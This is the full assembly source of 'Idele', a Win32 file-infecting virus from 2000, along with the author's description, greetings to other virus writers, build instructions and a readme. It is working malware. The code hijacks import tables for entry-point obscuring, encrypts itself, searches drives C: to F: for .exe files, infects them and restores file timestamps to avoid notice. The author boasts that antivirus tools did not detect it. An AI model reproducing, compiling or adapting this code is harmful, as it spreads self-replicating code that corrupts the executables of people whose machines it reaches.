Win32.Idele ----------------------------------------------------------------[IDELE.ASM]--- .386p .model flat comment $ Idele virus version 1.9 by Doxtor L. /[T.I], July-December 2000 test version!! (infect goat*.exe files) Disclaimer: This program is a virus. It's not designed to be a destructive one, but anyway it's a virus ! This virus is my third one, designed for Ms-Windows. All tests were performed on Win95/Winnt platforms. But i'm quite sure it runs fine on win98 too. It don't work fine on Win2k. It was written for educational purposes! Greets: -Androgyne : i hope to see soon a win32 virus of your own my "dear student" :) -Bumblebee : Thanks for the informations -Cryptic : Thanks for beta-testing -Del armg0 : are you a reader of "Pif le chien"? :) -Dyrdyr : you're a maths genius, man :) -Mandragore : A day without alcohol/weed is a bad day? -Spanska : fat 25yrs old girls are not necessary ugly ;) -T00fic : Do you like my poetry? :) -Darkman : Tania fan number one :) -Giga : i'm too fat to be able to ride a pony :) -LordJulus : i can't wait for your next tutorials :) -M : heya "marchand de sabl�s"! -Tally : a new virus for your collection! -T2 : Is there a life be4 the death? Vecna : when is the next full moon? :) ...And all the vxers from undernet irc servers FREE VIRUSES ! Virus is knowledge! So trading viruses with ratios is an opposition to the free spreading of knowledge! Description: This virus uses several viral technics. Checksum/Crc32 routines to recognize API string in export section of Kernel32.dll The main feature is that the sections flags of host aren't modified (except for import table) i.e, if a section is a non-writable one, after infection the section flag is still non-writable. How we do that? The virus uses the GlobalAlloc API. This api is called first, to create a memory space to decrypt and run the main part of virus there. But we need a special routine to force targets to use this api. To do that, we search in Import table of the target, an API string name with 11 or more, letters. We patch the name with "GlobalAlloc" string. At run time, the infected host is loaded in memory by Windows, the address of GlobalAlloc API is set. Windows makes the job for us :) So we need to patch the place this address is, with the correct one, we use GetProcAddress. (we can't pre-calculate a checksum for it because the name of this API isn't known before infection time) The virus uses the allocated memory space to move to/decrypt its main routine. So when the decryption is completed, the virus jumps to that new memory space. It creates an infectious thread and returns to host. The virus uses a *new* EPO technic. The virus don't patch the target code! and the virus don't change the entry point of target PE exe. As far i know , this is the first virus to use the following technic. A Windows application contains in its memory space an array that will be fullfilled with APIs addresses by the operating sytem. The virus at infection time, changes in target the address of the import table and create a small new one. The old table is fullfilled with the virus address. So when the infected host calls an API, the virus will be called first. The first thing, the virus does, is to rebuild the import table of the host at the right place! before infection: Import table Code section API1: >------------------- "call [API1]" XXXX API2: YYYY >------------------- "Call [API2]" (...) (...) After infection: Old import table Code section New import table API1: API1: >virus address< >-----------"call [API1]" XXXX API2: (...) >virus address<: >------------"call [API2]" (...) (...) API(N):(N is often >=4) >GlobalAlloc address< Most people in vx-scene thinks applications in high level language call APIs using only two ways: 1) 2) call API: call [>address in Import table<] (...) API: jmp [>address in Import table<] They are wrong! In notepad.exe of Win95, i have found code like that: mov edi,dword ptr [>Address in Import table<] call edi And believe me, most of applications (Netscape 4.5 ...) can use that way to call an API. An infected program could be unstable due to the way it performs an API call! Happily the applications rarely call an API from Kernel32, using an "unusal" way, at the very beginning of their code ! The W(rite) attribute is set in the section the Import table is to be Win NT4 compatible. Patch the Import table at run time seems impossible under Win2k! Even the use of WriteProcessMemory API don't help to solve that problem:( Happily there is a solution to bypass that...but it's another story :) The infectious routine is a classic one: -Search x target(s) on whole C:,D:,E:,F: drives and infects it/them. -The thread begins with a pause, virus stop during x seconds before to infect. -The virus is composed of 2 parts: a loading routine to create memory space and decrypt the virus there (this routine is located in executable section of host) and the main part of virus located in last section. This virus isn't detected by major anti-viruses at the time it was written. So once again, BE CAREFUL! To compile, use the following file: Syntax is: compile virus (and not "compile virus.asm") [assuming the virus source code is named: virus.asm] The assembler used is tasm 5.0 (c)Borland ///// begin of compile.bat ///// tasm32 /m /ml %1.asm tlink32 /Tpe /aa /c %1,%1.exe,,import32.lib rem pewrite.exe set the write attribute in all sections headers pewrite %1.exe del %1.obj del %1.map ///// End of compile.bat ///// To test the virus change the string "*.exe",0 into "test*.exe",0 Remember the virus size need to be a 4 multiple! $ %out WARNING! %out YOU HAVE JUST COMPILED A FULL FUNCTIONNAL VIRUS! %out ERASE IT, IF YOU DON'T KNOW WHAT YOU'RE DOING! extrn ExitProcess :Proc ;only for the 1st generation extrn MessageBoxA :Proc extrn GetProcAddress :Proc extrn GetModuleHandleA :Proc extrn Sleep :Proc .data T db "Warning!" ,0 Message db "Ready to be infected" ,0ah,0dh db "by Idele " ,0ah,0dh db "virus v 1.9 /[T.I] ?" ,0ah,0dh,0 Message2 db "Exit infection?" ,0 Krl32 db "KERNEL32.DLL",0 EP0 db 0,0 EP db "ExitProcess",0 HereisAddy4Message2 dd 0 Fake_OFT dd offset EP0,0,0,0 Fake_FT dd 0,0,0,0 Addy4EP dd 0 .code ;code executable starts here HOST: mov eax,LoaderLength mov eax,EndVir-BeginVir ;the real size is a multiple of 4 push 30h ;warning message push offset T push offset Message push 0 call MessageBoxA push offset Krl32 ;retrieve Kernel32.dll address call GetModuleHandleA push offset EP ;retrieve ExitProcess address push eax call GetProcAddress mov dword ptr [Addy4EP],eax mov dword ptr [Import],offset Addy4EP mov dword ptr [VA_API],offset EP mov dword ptr [VA_OFT],offset Fake_OFT mov dword ptr [VA_FT],offset Fake_FT mov dword ptr [ApiHack],offset EP lea eax,HereisAddy4Message2 mov dword ptr [eax],offset Msg2 xor ebp,ebp jmp FillUpJump Msg2: push 5000 ;time needed to infect call Sleep push 30h ;exit message push offset T push offset Message2 push 0 call MessageBoxA push 0 ;exit first generation virus call ExitProcess ;[real start of virus]: BeginVir: call Delta Delta: ;compute delta offset pop ebp sub ebp,offset Delta mov eax,dword ptr [esp+32] ;search in stack return ;address mov cl,byte ptr [eax-5] ;read first byte of "call" ;opcode cmp cl,15h ;is 15? jnz Jump_Far ;no...it's a call yyyy mov eax,dword ptr [eax-4] ;...yes it's call [xxxxx] ;read xxxx, xxxx is a pointer ;to API address jmp FillUpJump Jump_Far: ;it's a call yyyy add eax,dword ptr [eax-4] ;what is the destination of inc eax ;"call yyyy"? inc eax ; mov eax,dword ptr [eax] ; ; FillUpJump: mov dword ptr [JumpAway+ebp],eax ComputeKernelAddress: db 8bh,15h ;mov edx,dword [Import] Import dd 0 ;Import is an address in Import table ;[ ]= adress of GlobalAlloc (in second generation) ;***** Search kernel32.dll address in memory ; In :edx=address in kernel32 ;***** Out:edx=kernel32.dll address mov eax,edx Loop: dec edx cmp word ptr [edx],"ZM" jnz Loop MZ_found: ; "MZ" found ;is it the beginning of Kernel? mov ecx,edx mov ecx,[ecx+03ch] add ecx,edx cmp ecx,eax jg Loop ;this test avoid page fault cmp word ptr [ecx] ,"EP" jnz Loop ;***** End of search kernel routine ;***** Search apis addresses needed ; In : edx=IMAGE BASE of KERNEL32 ;***** Out: Searched Apis addresses are put in a Table of Dword mov eax,[edx+3ch] ;eax=RVA of PE-header add eax,edx ;eax=Address of PE-header mov eax,[eax+78h] ;eax=RVA of EXPORT DIRECTORY section add eax,edx ;eax=Address of EXPORT DIRECTORY section mov esi,[eax+20h] ;esi=RVA of the table containing pointers add esi,edx ;esi=Address of this table, ;a pointer to the name of the first ;exported function xor ebx,ebx ;ebx holds Api index dec ebx mov ecx,ApiNb ;number of Apis remaining sub esi,4 MainLoop: add esi,4 inc ebx ;***** Crc computing of the current Api name ; In : esi: RVA of name ;***** Out: Crc variable contains the Crc of current name string ComputeCrc: pushad mov esi,dword ptr [esi] add esi,edx xor ecx,ecx xor eax,eax Again: Lodsb or al,al jz SeeU add cl,al rol eax,cl add ecx,eax jmp Again SeeU: mov dword ptr [Crc+ebp],ecx popad ;***** End of crc computing routine ;***** Test Crc ; In : Esi: Current Api name address ; Out: Esi= following name ;***** Ecx= Api (pointer) index in the "table of names" TestCrc: push eax mov eax,dword ptr [Crc+ebp] mov ecx,ApiNb+1 lea edi,ApiList+ebp repne scasd pop eax jecxz MainLoop Found: pushad add edi,offset CloseHandle-(offset ApiList+4) ;Api position ;in our table mov ecx,dword ptr [eax+36] add ecx,edx lea ecx,[ecx+2*ebx] mov bx,word ptr [ecx] mov ecx,dword ptr [eax+1ch] add ecx,edx mov ecx,dword ptr [ecx+4*ebx] add ecx,edx mov dword ptr [edi],ecx popad Loop MainLoop ;***** End of crc test routine ;***** End of Apis searching routine ;routine: ;on copie les adresses que Windows a mis dans la table FT vers ;la vraie table qui commence � VA_FT ;We need to patch the import table of host. ;But first we need to compute the address of the Api we have replaced ;by GlobalAlloc ;[Compute address of hacked api]: push edx lea ebx,ApiHack+ebp push ebx push edx call dword ptr [_GetProcAddress+ebp] mov dword ptr [ApiOriginalAdd+ebp],eax call dword ptr [GetCurrentProcessId+ebp] push eax push 0 push 10h or 20h or 08h call dword ptr [OpenProcess+ebp] xchg eax,ebx pop edx xor ecx,ecx mov esi,dword ptr [VA_OFT+ebp] lea edi,API_Buffer+ebp ALoop: lodsd or eax,eax jnz FollowMe or ch,ch jnz GetOut mov eax,dword ptr [VA_API+ebp] inc ch jmp ComputeAPI FollowMe: add eax,dword ptr [ImageBase+ebp] inc eax inc eax ComputeAPI: push esi push edi push ecx push edx push eax push edx call dword ptr [_GetProcAddress+ebp] pop edx pop ecx pop edi pop esi stosd inc cl jmp ALoop GetOut: push 0 xor ch,ch shl ecx,2 push ecx lea eax,API_Buffer+ebp push eax push dword ptr [VA_FT+ebp] push ebx call dword ptr [WriteProcessMemory+ebp] ;[Restore host hacked api]: push 0 push 4 lea eax,ApiOriginalAdd+ebp ;source push eax db 68h ;push value HackAdd: ;destination dd 0 push ebx call Dword ptr [WriteProcessMemory+ebp] ;[Create_Thread]: lea ebx,ThreadID+ebp push ebx push 0 push 0 lea ebx,_Thread+ebp push ebx push 0 push 0 call dword ptr [CreateThread+ebp] ;[Go on API call]: popad db 0ffh,25h ;jump [ ] JumpAway dd 0 _Thread: call DeltaOff DeltaOff: pop ebp sub ebp,offset DeltaOff push Miliseconds call dword ptr [_Sleep+ebp] ;[Save current directory]: lea eax,DirExe+ebp push eax push 260 call Dword ptr [GetCurrentDirectoryA+ebp] ;***** Main routine (directory-tree search algorithm) mov dword ptr [Counter+ebp],HowMany mov dword ptr [Depth+ebp],0 SearchDisk: inc dword ptr [Key+ebp] mov eax,dword ptr [Key+ebp] xor edx,edx xor ecx,ecx mov cl,4 div ecx xchg eax,edx add al,43h mov byte ptr [DiskName+ebp],al lea eax,DiskName+ebp push eax call dword ptr [GetDriveTypeA+ebp] cmp al,3 jnz SearchDisk db 0c7h,85h dd offset FileName DiskName db "C" db ":",0 Find0: inc dword ptr [Depth+ebp] push ebx lea eax,FileName+ebp push eax call dword ptr [SetCurrentDirectoryA+ebp] or eax,eax jz Updir0 ;****** InfectCurrentDir lea esi,FileAttributes+ebp push esi lea edi,FindMatch+ebp ;target string name push edi call dword ptr [FindFirstFileA+ebp] ;return a search handle mov ebx,eax ;handle is put into ebx inc eax jz FindF call Infect Next: push esi push ebx call [FindNextFileA+ebp] or eax,eax jz FindF call Infect jmp Next ;***** End of infect current dir routine ;[Findfirst dir]: FindF: push ebx call dword ptr [FindClose+ebp] lea esi,FileAttributes+ebp push esi lea edi,FindMatch2+ebp push edi call dword ptr [FindFirstFileA+ebp] mov ebx,eax inc eax jz Updir0 Find: mov eax,dword ptr [FileAttributes+ebp] and eax,10h jz FindN cmp byte ptr [FileName+ebp],"." jnz Find0 ;[FindNext dir routine]: FindN: lea esi,FileAttributes+ebp push esi push ebx call dword ptr [FindNextFileA+ebp] or eax,eax jnz Find Updir: push ebx call dword ptr [FindClose +ebp] Updir0: dec dword ptr [Depth+ebp] jz Exit pop ebx lea eax,DotDot+ebp push eax call dword ptr [SetCurrentDirectoryA+ebp] jmp FindN Exit0: pop eax Exit: push ebx call dword ptr [FindClose+ebp] ;[Restore saved directory]: lea eax,DirExe+ebp push eax call dword ptr [SetCurrentDirectoryA+ebp] jmp _Thread Infect: pushad TestFile: add dword ptr [FileSize+ebp],VirLength ;***** Test if the file is a true PE-executable file call OpenFileStuff jc ExitInfectError push edx ;save mapping address cmp dword ptr [edx+3ch],200h ;Avoid Page Fault jg ExitInfectError0 add edx,dword ptr [edx+3ch] ;edx points to PE-header cmp word ptr [edx],"EP" ;true PE exe there? jnz ExitInfectError0 ;***** End of EXE-PE test ;***** Already infected? pop ecx cmp word ptr [ecx+12h],"IT" ;infected? jz ExitInfectError push ecx ;**** End of infection test mov edi,edx add edi,18h ;edi=beginning of optional header ;[Compute RVA of first section header]: mov ebx,dword ptr [edi+10h] ;ebx=Entry Point RVA push ebx ;save it movzx ecx,word ptr [edx+14h] ;cx=size of optionnal header add edi,ecx ;edi points to 1st section header movzx ecx,word ptr [edx+06h] ;cx= number of sections mov dword ptr [SectN+ebp],ecx mov ebx,edi ;ebx points on 1st section header ;[compute last section header address]: xor eax,eax ;set eax=0 dec ecx ;ecx=number of sections -1 mov esi,edi ;esi=first section header ;address mov al,28h ;al=size of a section header mul cl ;eax=28h*(number of section-1) add esi,eax ;esi=pointer to last section ;header ;ebx,edi=beginning of 1st section header pop eax ;put Entry Point RVA in eax ;***** Search code section: ; In : ebx holds file pointer to first section header ; : eax holds Entry Point RVA ;***** Out: ebx holds File ptr to the "code section" NotEnough: add ebx,28h cmp dword ptr [ebx+12],eax jg FoundCode loop NotEnough jmp ExitInfectError0 FoundCode: sub ebx,28h ;***** Search code section end cmp dword ptr [esi+16],0 ;don't want to infect files jz ExitInfectError0 ;with rawdata size=0 ... ;no real section on disk here ;if we try ...file is overwritten! mov eax,dword ptr [esi+24h] ;don't want to infect files and eax,80000000h ;with a last section writable jnz ExitInfectError0 ;surely an exe archive or packed file ;edi= begin of section headers ;ebx= begin of code section ;eax= begin of code section header mov eax,edi pop edi ;restore Map Address push edi ;save " " push eax mov ecx,LoaderLength dec ecx add edi,dword ptr [ebx+10h] add edi,dword ptr [ebx+14h] dec edi Empty: std xor al,al repe scasb xchg eax,edi pop edi or ecx,ecx cld jnz ExitInfectError0 ;[Import table patching routine]: pushad mov eax,dword ptr [edx+18h+1ch] ;save on stack ImageBase mov dword ptr [ImageBase+ebp],eax push eax mov eax,dword ptr [edx+80h] ;eax= address of the ;"import table" ;[search import section]: ;in: edi=map pointer to first section header pushad SearchImport: add edi,28h cmp dword ptr [edi+12],eax jg FoundImport jmp SearchImport FoundImport: sub edi,28h or dword ptr [edi+24h],80000000h ;set W attribute to ;Import section mov eax,dword ptr [edi+12] add eax,dword ptr [edi+10h] mov esi,eax ;esi=RVA to the end of import ;section call Rva2Offset ;eax=map pointer to the end of ;import section xor ecx,ecx ;[How many dword are free in the end of the import section]: HowManyDW: sub eax,4 sub esi,4 cmp dword ptr [eax],0 jz HowManyDW add eax,8 ;we don't use the first free dword add esi,8 mov dword ptr [RVA_NewFT+ebp],esi mov dword ptr [FP_NewFT+ebp],eax popad ;end of search import section ;eax=RVA "Imports table" ;ebx=RVA "Sections table" call Rva2Offset ;eax=file pointer to Import table xchg eax,edi ;edi= " " " " " SearchDll: mov eax,dword ptr [edi+12] or eax,eax je _NotFound call Rva2Offset cmp dword ptr [eax],"NREK" ;are there imports je DllFound ;from kernel32.dll? cmp dword ptr [eax],"nrek" ; " " je DllFound add edi,20 jmp SearchDll _NotFoundV: _NotFound: popad jmp ExitInfectError0 DllFound: ;edi= file pointer to KERNEL32.DLL structure in target mov dword ptr [edi+4],0 ;TimeDate stamp set to 0 mov dword ptr [edi+8],0 mov eax,dword ptr [edi] ;eax=RVA of OriginalFirstThunk add edi,16 mov edx,dword ptr [edi] ;edx=RVA of FirstThunk mov dword ptr [FP_FieldFT+ebp],edi push eax ;compute file ptr to host First Thunk mov eax,edx call Rva2Offset mov dword ptr [FP_FT+ebp],eax pop eax pop ecx ;restore image base push ecx ;save it again mov dword ptr [RVA_FT+ebp],edx add ecx,edx ;compute VA of FirstThunk mov dword ptr [VA_FT+ebp],ecx ;save it or eax,eax jz No_OFT pushad push eax add eax,dword ptr [ImageBase+ebp] mov dword ptr [VA_OFT+ebp],eax pop eax call Rva2Offset mov dword ptr [FP_OFT+ebp],eax ;File pointer to Original first ;thunk ;[Compute the number of imported APIs from KERNEL32.DLL]: xor ecx,ecx sub eax,4 ApiScan: inc ecx add eax,4 cmp dword ptr [eax],0 jnz ApiScan dec ecx ;ecx holds number of imported APIs from K32 mov dword ptr [SizeT+ebp],ecx ;********************************************************************* popad jmp OFT_Found No_OFT: mov eax,edx OFT_Found: call Rva2Offset ;eax contains the RVA of an array of ;RVAs. ;Each of these RVAs points to a structure ;The number of structures equals the ;number of imported functions from ;KERNEL32.DLL ;We need to convert eax into a file ;pointer. sub edx,4 sub eax,4 lea edi,ApiHack+ebp Loop2: add eax,4 ;eax=map ptr to OFT array add edx,4 ;edx= rva, browsing ft array mov esi,dword ptr [eax] ;read an RVA of array or esi,esi jz _NotFound test esi,80000000h ;ordinal? jnz Loop2 xor ecx,ecx xchg eax,esi ;convert RVA to file offset call Rva2Offset xchg eax,esi inc esi ;esi points to api name inc esi push edi push esi DoAgain: ;move the api name into ApiHack movsb inc ecx cmp byte ptr [esi-1],0 ;end of string? jnz DoAgain pop esi pop edi cmp ecx,12 ;string + ",0" is 12 char? jl Loop2 ;not enough?...go back to Loop2 pushad add eax,4 mov esi,dword ptr [eax] inc esi inc esi add esi,dword ptr [ImageBase+ebp] mov dword ptr [VA_API+ebp],esi mov dword ptr [eax],0 popad xchg esi,edi lea esi,GlobalAPI+ebp mov cl,12 ;GlobalAlloc string replace rep movsb ;one of api of the host pop edi ;edi =ImageBase of target add edx,edi ;address in Import table mov dword ptr [HackAdd+ebp],edx mov dword ptr [API_Field+ebp],edx popad ;***** End Import table Patching routine pop edi ;restore MapAddress push eax ;save pointer to code loader add dword ptr [Key+ebp],12345678h ;modify key mov word ptr [edi+12h],"IT" ;mark the infected target mov dword ptr [edx+18h+24h],200h ;set FileAligment=200h mov ecx,dword ptr [esi+0ch] add edi,dword ptr [esi+14h] ;pointer to reloc section cmp dword ptr [edx+18h+96+40],ecx jnz NoReloc cmp dword ptr [esi+10h],0a00h jnge NoReloc ;[Erase Relocation Section]: mov dword ptr [edx+18h+96+40],0 mov dword ptr [edx+18h+96+44],0 mov dword ptr [esi],"adP." ;change the section name mov dword ptr [esi+4],"at" add ecx,dword ptr [ImageBase+ebp] mov dword ptr [LastSectionCode+ebp],ecx sub dword ptr [FileSize+ebp],VirLength jmp CopyEncrypt ;************************************************************************ NoReloc: add edi,dword ptr [esi+10h] ;add rounded up last section raw-size ;[Compute beginning of code in the last section ,in memory]: mov ecx,dword ptr [esi+0ch] ;last section RVA in memory add ecx,dword ptr [esi+10h] ;add last section rounded up size add ecx,dword ptr [ImageBase+ebp] mov dword ptr [LastSectionCode+ebp],ecx ;[Update size field in target last section header]: add dword ptr [esi+10h],0a00h add dword ptr [esi+08h],1000h ;[Update size fields in target optional header]: add dword ptr [edx+50h],1000h CopyEncrypt: mov ecx,dword ptr [RVA_NewFT+ebp] mov esi,dword ptr [FP_FieldFT+ebp] mov dword ptr [esi],ecx mov esi,dword ptr [API_Field+ebp] sub esi,dword ptr [RVA_FT+ebp] add esi,dword ptr [RVA_NewFT+ebp] mov dword ptr [ReturnAdd+ebp],esi mov dword ptr [Import+ebp],esi ;[Copy and encrypt code in the last section]: mov ecx,(EndVir-BeginVir)/4 lea esi,BeginVir+ebp call Crypt ;[ClearHeap]: push edi mov ecx,dword ptr [FileSize+ebp] sub edi,dword ptr [MapAddress+ebp] sub ecx,edi ;ecx=number of useless bytes in ;the heap pop edi xor eax,eax ;set eax to 0 Nullify: repne stosb ;[compute new entry point]: mov eax,dword ptr [ebx+0ch] add eax,dword ptr [ebx+10h] mov ecx,LoaderLength sub eax,ecx ;eax=RVA of Loader add eax,dword ptr [edx+18h+1ch] ;add ImageBase push ecx ;save loader size mov ecx,dword ptr [SizeT+ebp] mov edi,dword ptr [FP_FT+ebp] rep stosd mov esi,dword ptr [FP_OFT+ebp] mov edi,dword ptr [FP_NewFT+ebp] CopyMore: movsd cmp dword ptr [esi],0 jnz CopyMore pop ecx ;restore loader size ;[Copy loader code to target file on disk]: pop edi ;restore pointer (on disk) to code loader lea esi,BeginLoader+ebp repne movsb call CloseFileStuff popad dec dword ptr [Counter+ebp] jz Exit0 ret ExitInfectError2: pop eax ExitInfectError0: pop eax ExitInfectError: sub dword ptr [FileSize+ebp],VirLength call CloseFileStuff popad ret OpenFileStuff: push 0 push 0 push 3 push 0 push 1 push 80000000h or 40000000h ;Read and Code abilities lea eax,FileName+ebp push eax call dword ptr [CreateFileA+ebp] mov dword ptr [FileHandle+ebp],eax ;save FileHandle push 0 push dword ptr [FileSize+ebp] push 0 push 4 push 0 push dword ptr [FileHandle+ebp] call dword ptr [CreateFileMappingA+ebp] mov dword ptr [MapHandle+ebp],eax push dword ptr [FileSize+ebp] push 0 push 0 push 2 push dword ptr [MapHandle+ebp] call dword ptr [MapViewOfFile+ebp] or eax,eax jz ExitOpenFileStuffError mov dword ptr [MapAddress+ebp],eax ;eax=Address of Mapping xchg eax,edx clc ret ExitOpenFileStuffError: stc ret CloseFileStuff: UnMap: push dword ptr [MapAddress+ebp] call dword ptr [UnmapViewOfFile+ebp] CloseMapHandle: push dword ptr [MapHandle+ebp] call dword ptr [CloseHandle+ebp] ResizeFile: push 0 push 0 push dword ptr [FileSize+ebp] push dword ptr [FileHandle+ebp] call dword ptr [SetFilePointer+ebp] MarkEndOfFile: push dword ptr [FileHandle+ebp] call dword ptr [SetEndOfFile+ebp] RestoreTime: lea eax,LastWriteTime+ebp push eax lea eax,LastAccessTime+ebp push eax Lea eax,CreationTime+ebp push eax push dword ptr [FileHandle+ebp] call dword ptr [SetFileTime+ebp] CloseFile: push dword ptr [FileHandle+ebp] call dword ptr [CloseHandle+ebp] RestoreFileAttributs: push dword ptr [FileAttributes+ebp] lea eax,FileName+ebp push eax call dword ptr [SetFileAttributesA+ebp] ret ;change a RVA to a file pointer ;In : ebx points to first section ;Out: eax contains the file offset Rva2Offset: push ebx push ecx mov ecx,dword ptr [SectN+ebp] _Loop: cmp dword ptr [ebx+12],eax jg _Find NoRawData: add ebx,28h loop _Loop _Find: sub eax,dword ptr [ebx-28h+12] add eax,dword ptr [ebx-28h+20] add eax,dword ptr [MapAddress+ebp] pop ecx pop ebx ret BeginLoader: pushad push 2000h push 0 db 0ffh,15h ;call GlobalAlloc ReturnAdd dd 0 push eax ;prepare jump to virus xchg eax,edi ;added to modify scan string mov ecx,(VirLength)/4 db 0beh ;mov esi,**** LastSectionCode dd 0 Crypt: lodsd db 35h Key dd 0abcdef12h stosd dec ecx jnz Crypt ret ;go to beginning of code EndLoader: Constants: ApiNb equ 21 MaxPath equ 260 Miliseconds equ 1500 HowMany equ 1 VirLength equ 0a00h VirLength0 equ EndVir0-BeginVir LoaderLength equ EndLoader-BeginLoader Sign db "Idele virus version 1.9" db "DoxtorL./[T.I]/Dec.Y2K" SizeT dd 0 VA_API dd 0 ImageBase dd 0 FP_OFT dd 0 VA_OFT dd 0 FP_FieldFT dd 0 FP_FT dd 0 RVA_FT dd 0 VA_FT dd 0 FP_NewFT dd 0 RVA_NewFT dd 0 VA_NewFT dd 0 FindMatch db "*.exe",0 FindMatch2 db "*.*",0 DotDot db "..",0 GlobalAPI db "GlobalAlloc",0 ApiHack db "GlobalAlloc",0 ;only for the ;1st generation db 26 dup (0) ;reserved for char ;of api name found ApiList dd 0fdbe9ddfh ;CloseHandle dd 04b00fba1h ;CreateFileA dd 00d6ea22eh ;CreateFileMappingA dd 0be307c51h ;CreateThread dd 0be7b8631h ;FindClose dd 0c915738fh ;FindFirstFileA dd 08851f43dh ;FindNextFileA dd 028f8c6fbh ;GetCurrentDirectoryA dd 00029ecfbh ;GetCurrentProcessId dd 09c3a5210h ;GetDriveTypeA dd 040bf2f84h ;GetProcAddress dd 032beddc3h ;MapViewOfFile dd 0c329f65bh ;OpenProcess dd 08e0e5487h ;SetCurrentDirectoryA dd 0bc738ae6h ;SetEndOfFile dd 050665047h ;SetFileAttributesA dd 06d452a3ah ;SetFilePointer dd 09f69de76h ;SetFileTime dd 03a00e23bh ;Sleep dd 0fae00d65h ;UnmapViewOfFile dd 01e9fa310h ;WriteProcessMemory EndVir: ;What is following isn't appended to target ;ApiAddresses: CloseHandle dd 0 CreateFileA dd 0 CreateFileMappingA dd 0 CreateThread dd 0 FindClose dd 0 FindFirstFileA dd 0 FindNextFileA dd 0 GetCurrentDirectoryA dd 0 GetCurrentProcessId dd 0 GetDriveTypeA dd 0 _GetProcAddress dd 0 MapViewOfFile dd 0 OpenProcess dd 0 SetCurrentDirectoryA dd 0 SetEndOfFile dd 0 SetFileAttributesA dd 0 SetFilePointer dd 0 SetFileTime dd 0 _Sleep dd 0 UnmapViewOfFile dd 0 WriteProcessMemory dd 0 ;Variables: FileHandle dd 0 MapHandle dd 0 MapAddress dd 0 Counter dd 0 Crc dd 0 Depth dd 0 ThreadID dd 0 SectN dd 0 ApiOriginalAdd dd 0 API_Field dd 0 ;search structure: FileAttributes dd ? ; attributes CreationTime dd ?,? ; time of creation LastAccessTime dd ?,? ; last access time LastWriteTime dd ?,? ; last modificationm FileSizeHigh dd ? ; filesize FileSize dd ? ; Reserved0 dd ? ; Reserved1 dd ? ; FileName db MaxPath DUP (?) ; long filename AlternateFileName db 13 DUP (?) ; short filename DirExe db MaxPath DUP (?) EndVir0: API_Buffer: dd 16 dup (0) end HOST ----------------------------------------------------------------[IDELE.ASM]--- -----------------------------------------------------------------[READ.1ST]--- Doxtor L./[Technological Illusions] presents: IDELE virus version 1.9 July-December 2000 Description: This is a per-process encrypted virus. It uses a new EPO (*) technic (as far i know), nothing is modified in the host code part. The virus searchs targets on C:,D:,E:,F: drives when ever those drives are accessible. The virus works fine on Win9x/Win nt4 platforms, but don't work on Win 2k platform. This virus is undetected at the time it was completed, yet it's not destructive, but it's a computer virus so use it at your own risks ! I can't be held as responsible for use/misuse of this program. This program was only designed for research aims. (Is fire guns dealers can be held also as responsible for the death of a young guy somewhere in the world when someone uses a machine gun to kill him ?) (*) E.P.O=Entry Point Obscured -----------------------------------------------------------------[READ.1ST]---